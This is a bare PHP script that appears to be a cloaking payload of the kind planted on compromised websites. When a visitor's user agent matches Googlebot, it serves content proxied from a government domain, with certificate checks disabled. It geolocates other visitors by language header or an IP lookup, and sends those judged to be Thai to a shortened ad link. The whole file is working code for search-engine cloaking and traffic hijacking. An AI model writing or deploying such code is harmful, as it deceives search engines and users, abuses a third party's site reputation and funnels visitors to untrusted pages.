<?php
header('Vary: Accept-Language');
header('Vary: User-Agent');
function get_client_ip() {
$keys = [
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'REMOTE_ADDR'
];
foreach ($keys as $key) {
if (!empty($_SERVER[$key])) {
$ipList = explode(',', $_SERVER[$key]);
foreach ($ipList as $ip) {
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
}
}
}
return '127.0.0.1';
}
function fetch_site($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$headers = [
'User-Agent: ' . (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0'),
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: ' . (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en-US,en;q=0.5'),
'Connection: keep-alive'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
$response = curl_exec($ch);
$info = curl_getinfo($ch);
if (curl_errno($ch)) {
curl_close($ch);
http_response_code(502);
echo "Bad Gateway";
exit;
}
curl_close($ch);
$headerSize = isset($info['header_size']) ? (int)$info['header_size'] : 0;
$header = substr($response, 0, $headerSize);
$body = substr($response, $headerSize);
$contentType = 'text/html';
if (preg_match('/Content-Type:\s*([^\r\n;]+)/i', $header, $mct)) $contentType = trim($mct[1]);
header('Content-Type: ' . $contentType . '; charset=UTF-8');
http_response_code(isset($info['http_code']) ? (int)$info['http_code'] : 200);
echo $body;
exit;
}
function get_country_from_ip($ip) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/{$ip}?fields=countryCode,status");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; PHP IP Checker)');
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error || empty($response)) {
return null;
}
$data = json_decode($response, true);
if (isset($data['status']) && $data['status'] === 'success') {
return $data['countryCode'];
}
return null;
}
if (!function_exists('is_google_bot')) {
function is_google_bot() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$googleBotPatterns = [
'googlebot',
'googlebot-mobile',
'googlebot-news',
'googlebot-video',
'googlebot-image',
'mediapartners-google',
'adsbot-google'
];
foreach ($googleBotPatterns as $pattern) {
if (stripos($ua, $pattern) !== false) return true;
}
return false;
}
}
if (!function_exists('is_thai_user')) {
function is_thai_user() {
$al = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
if (strpos($al, 'th') === 0) return true;
$ip = get_client_ip();
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
$countryCode = get_country_from_ip($ip);
if ($countryCode === 'TH') {
return true;
}
}
return false;
}
}
function redirect_to_ad() {
header("Location: https://t.ly/kpi", true, 302);
exit;
}
if (is_google_bot()) {
$targetUrl = "https://lean.msme.gov.in/" . (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
fetch_site($targetUrl);
}
if (is_thai_user()) {
redirect_to_ad();
}
?>